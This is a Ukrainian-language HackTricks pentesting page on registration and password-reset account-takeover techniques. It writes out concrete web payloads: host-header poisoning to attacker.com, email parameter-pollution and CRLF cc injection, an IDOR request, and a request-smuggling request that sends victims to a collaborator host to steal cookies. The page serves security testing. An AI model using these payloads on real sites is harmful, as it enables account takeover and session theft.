hacktricks/pentesting-web/registration-vulnerabilities.md

15 KiB
Raw Blame History

Вразливості реєстрації та захоплення

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks
{% endhint %}

WhiteIntel

WhiteIntel — це пошукова система на основі темного вебу, яка пропонує безкоштовні функції для перевірки, чи була компанія або її клієнти скомпрометовані шкідливими програмами для крадіжки даних.

Основна мета WhiteIntel — боротися з захопленнями облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм для крадіжки інформації.

Ви можете перевірити їхній вебсайт і спробувати їхній двигун безкоштовно за адресою:

{% embed url="https://whiteintel.io" %}


Захоплення реєстрації

Дублювання реєстрації

  • Спробуйте згенерувати, використовуючи існуюче ім'я користувача
  • Перевірте, варіюючи електронну пошту:
  • великі літери
  • +1@
  • додайте крапку в електронній пошті
  • спеціальні символи в імені електронної пошти (%00, %09, %20)
  • Додайте чорні символи після електронної пошти: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Перерахування імен користувачів

Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстроване в додатку.

Політика паролів

Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі).
У такому випадку ви можете спробувати зламати облікові дані.

SQL-ін'єкція

Перевірте цю сторінку , щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через SQL-ін'єкції у формах реєстрації.

Захоплення Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Вразливості SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Зміна електронної пошти

Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.

Більше перевірок

  • Перевірте, чи можете ви використовувати тимчасові електронні адреси
  • Довгий пароль (>200) призводить до DoS
  • Перевірте обмеження швидкості на створення облікових записів
  • Використовуйте username@burp_collab.net і аналізуйте callback

Захоплення скидання пароля

Витік токена скидання пароля через реферер

  1. Запросіть скидання пароля на вашу електронну адресу
  2. Натисніть на посилання для скидання пароля
  3. Не змінюйте пароль
  4. Перейдіть на будь-які сторонні вебсайти (наприклад: Facebook, Twitter)
  5. Перехопіть запит у проксі Burp Suite
  6. Перевірте, чи заголовок referer витікає токен скидання пароля.

Отруєння скидання пароля

  1. Перехопіть запит на скидання пароля в Burp Suite
  2. Додайте або відредагуйте наступні заголовки в Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Перешліть запит з модифікованим заголовком
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Шукайте URL скидання пароля на основі host header як: https://attacker.com/reset-password.php?token=TOKEN

Скидання пароля через параметр електронної пошти

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR на параметрах API

  1. Зловмисник повинен увійти в свій обліковий запис і перейти до функції Змінити пароль.
  2. Запустіть Burp Suite і перехопіть запит.
  3. Відправте його на вкладку повторювача та відредагуйте параметри: ID користувача/електронна пошта
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Слабкий токен скидання пароля

Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.

  • Часова мітка
  • ID користувача
  • Електронна пошта користувача
  • Ім'я та прізвище
  • Дата народження
  • Криптографія
  • Тільки числа
  • Невелика послідовність токенів (символи між [A-Z,a-z,0-9])
  • Повторне використання токена
  • Дата закінчення терміну дії токена

Витік токена скидання пароля

  1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
  2. Перевірте відповідь сервера та перевірте наявність resetToken
  3. Потім використовуйте токен в URL, наприклад https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Скидання пароля через колізію імені користувача

  1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: "admin "
  2. Запросіть скидання пароля з вашим зловмисним іменем користувача.
  3. Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
  4. Увійдіть в обліковий запис жертви з новим паролем.

Платформа CTFd була вразливою до цієї атаки.
Дивіться: CVE-2020-7245

Захоплення облікового запису через міжсайтовий скриптинг

  1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: *.domain.com
  2. Витікайте поточний cookie сесії
  3. Аутентифікуйтеся як користувач, використовуючи cookie

Захоплення облікового запису через підробку HTTP-запитів

1. Використовуйте smuggler для виявлення типу підробки HTTP-запитів (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1 з наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X: з метою відкритого перенаправлення жертв на burpcollab і викрадення їхніх куків
3. Остаточний запит може виглядати наступним чином

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Захоплення облікового запису через CSRF

  1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичною відправкою для зміни пароля”
  2. Відправте payload

Захоплення облікового запису через JWT

JSON Web Token може використовуватися для аутентифікації користувача.

  • Змініть JWT на інший User ID / Email
  • Перевірте на слабкий підпис JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Посилання

WhiteIntel

WhiteIntel — це dark-web пошукова система, яка пропонує безкоштовні функції для перевірки, чи була компанія або її клієнти компрометовані stealer malwares.

Основна мета WhiteIntel — боротися із захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливого програмного забезпечення для крадіжки інформації.

Ви можете перевірити їхній вебсайт і спробувати їхній двигун безкоштовно за адресою:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}